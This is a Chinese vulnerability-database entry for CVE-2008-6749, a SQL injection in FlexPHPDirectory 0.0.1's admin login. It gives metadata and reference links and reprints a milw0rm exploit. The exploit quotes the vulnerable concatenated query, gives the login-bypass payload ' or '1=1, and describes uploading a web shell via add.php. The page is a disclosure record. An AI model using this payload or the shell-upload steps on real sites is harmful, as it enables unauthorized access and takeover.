China-On-Site FlexPHPDirectory 'admin/usercheck.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117160 漏洞类型 SQL注入
发布时间 2008-12-29 更新时间 2009-04-24
CVE编号 CVE-2008-6749 CNNVD-ID CNNVD-200904-463
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7614
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-463
|漏洞详情
FlexPHPDirectory0.0.1版本中的admin/usercheck.php存在多个SQL注入漏洞。当magic_quotes_gpc被禁用时,远程攻击者可以借助(1)checkuser和(2)checkpass参数,执行任意的SQL指令。
|漏洞EXP
#############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpdiren
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpdir/
##############################################

Bug In \admin\usercheck.php 'n' \add.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";


Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Shell Upload:

Exploit: \add.php upload your shell and after /photo/ to see your shell ^ ^

Greetz: I Miss You...

# milw0rm.com [2008-12-29]
|参考资料

来源:XF
链接:http://xforce.iss.net/xforce/xfdb/47640
来源:MILW0RM
名称:7614
链接:http://www.milw0rm.com/exploits/7614
来源:SECUNIA
名称:33353
链接:http://secunia.com/advisories/33353
来源:OSVDB
名称:51302
链接:http://osvdb.org/51302